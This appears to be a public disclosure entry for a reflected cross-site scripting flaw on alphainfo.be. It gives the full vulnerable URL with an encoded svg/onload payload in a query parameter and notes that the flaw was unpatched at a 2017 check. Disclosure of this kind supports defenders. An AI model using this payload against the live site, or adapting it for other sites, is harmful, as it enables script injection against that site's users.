alphainfo.be XSS vulnerability

Vulnerable URL: https://www.alphainfo.be/index.php?sort=active=39%22%3E%3Csvg/onload=promptdocument.domain%3E=compeoplebookcategory=42 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...